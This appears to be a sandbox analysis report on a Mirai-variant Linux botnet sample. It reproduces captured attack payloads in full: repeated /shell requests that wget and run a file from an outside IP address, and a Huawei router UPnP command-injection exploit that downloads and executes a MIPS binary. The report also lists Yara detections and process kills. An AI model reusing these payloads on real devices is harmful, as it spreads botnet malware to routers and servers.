Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: tojaubec.shop

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: z0r0.m68k.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: z0r0.m68k.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown

Network traffic detected: HTTP traffic on port 48202 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: z0r0.m68k.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5478.1.00007f0b10001000.00007f0b10013000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5482.1.00007f0b10001000.00007f0b10013000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 3104, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 3161, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 3162, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 3163, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 3164, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 3165, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 3170, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 3182, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 3212, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 5495, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 5496, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 5497, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 5498, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 5499, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 5500, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 5516, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 5527, result: successful	Jump to behavior

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 3104, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 3161, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 3162, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 3163, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 3164, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 3165, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 3170, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 3182, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 3212, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 5495, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 5496, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 5497, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 5498, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 5499, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 5500, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 5516, result: successful	Jump to behavior
Source: /tmp/z0r0.m68k.elf (PID: 5489)	SIGKILL sent: pid: 5527, result: successful	Jump to behavior

Source: z0r0.m68k.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5478.1.00007f0b10001000.00007f0b10013000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5482.1.00007f0b10001000.00007f0b10013000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@49/0

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5495)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5496)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5497)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
